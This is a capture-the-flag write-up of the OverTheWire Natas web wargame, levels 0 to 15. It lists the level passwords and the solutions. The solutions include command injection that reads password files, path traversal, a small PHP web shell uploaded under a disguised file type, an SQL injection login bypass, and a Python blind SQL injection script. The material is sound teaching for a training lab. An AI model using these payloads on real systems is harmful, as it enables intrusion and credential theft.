**OVERTHEWIRE:NATAS**

**LEVEL 0 -> Level 15 Writeups**

**Rohith Varma.**

**https://overthewire.org/wargames/natas/**

**Natas-0**

\*Found the password for natas1 in the source page.

<!--The password for natas1 is g9D9cREhslqBKtcA2uocGHPfMZVzeFK6 -->

**Natas-1**

\*Found the password by accessing the page source from developer tools in chrome.

<!--The password for natas2 is h4ubbcXrWqs To7GGnnUMLppXb0ogfBZ7--!>

**Natas-2**

\*Got the password in users.txt file which is present inside the files directory of the website

Password:G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q

**Natas-3**

\*The hidden directory was identified by using /robots.txt.

Password:tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm

**Natas-4:**

\*Changed the default referrer by using the referrer controller.

Password:Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD

**Natas-5**

\*Login credentials were saved in browsers as cookies so changed the cookie and got the access.

Password:fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR

**Natas-6:**

\*Checked the php code and found the secret code by traversing by adding includes/secret.inc

Secret:FOEIUWGHFEEUHOFUOIU

Password:jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr

**Natas-7**

\* Traversed through the /etc files by: http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas\_webpass/natas8

Password:a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB

**Natas-8**

\*Decoded the encoded secret by using this function:

function decodeSecret($encoded)

{ return base64\_decode(strrev(hex2bin($encoded)));

}

PasswordSda6t0vkOPkM8YeOZkAGVhFoaplvlJFd

**Natas-9**

\*The vulnerability here there is passthru the key I entered ; cat /etc/natas\_webpass/natas10 # to access the file and display the password.

Password:D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE

**Natas-10**

Here there is a filter applied so I used . /etc/natas\_webpass/natas11 # here .\* searches for the files that have the path mentioned.

Password:1KFqoJXi6hRaPluAmk8ESDW4fSysRoIg

**Natas-11**

\*After going through the source code we need to set the showpass to yes in order to view the pass.

\*XOR encrypt has a key by which it encrypts so to know the key I used a online code which I got while surfing google.

\*Changed the cookie to MGw7JCQ5OC04PT8jOSpqdmk3LT9pYmouLC0nICQ8anZpbS4qLSguKmkz

Password:YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG

**Natas-12**

\*Created a .php file with the following command in it

<?php echo exec("cat /etc/natas\_webpass/natas14"); ?>

Used burp suite and changed the file that opened from .jpg to .php and accessed the natas14 file for the pass

Password:lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9

**Natas-13**

\*Learned that the website identifies the jpg by the first four bits of hexadecimal code.

\*Used hexeditor to change the first 4 bytes and then uploaded the file.

\*Intercepted the upload using burpsuite and then changed the input to php.

Password:qPazSJBmrmU7UQJv17MHk1PGC4DxZMEP

**Natas-14:**

\*Learnt about SQL injection and then accessed it using

username=1" OR “TEST” = “TEST”&password=”1" OR “TEST” = “TEST

which makes it true and shows the password.

**Natas-15:**

\*From source code we can know that the pass is stored in users relation which has username and password as columns.

\*So used SQL injection by running an py code.

—---------------—-------------------------------------------------------------------------------------

#!/usr/bin/env python

# -\* coding: utf-8 --

import requests

import re

from string import ascii\_lowercase, ascii\_uppercase, digits

characters = ascii\_lowercase + ascii\_uppercase + digits

print(characters)

username = 'natas15'

password = 'TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB'

url = 'http://natas15.natas.labs.overthewire.org/'

session = requests.Session()

seen\_password = list()

while True:

for ch in characters:

print("trying with pass", "".join(seen\_password) + ch)

response = session.post(url, data={"username": 'natas16" AND BINARY password LIKE \'' + "".join(seen\_password) + ch + '%\' #'}, auth=(username, password))

content = response.text

if 'user exists' in content:

seen\_password.append(ch)

break

—------------------------------------------------------------------------------------------------------------

Password:RD7iZrd5gATjj9PkPEuaOlfEjHqj32V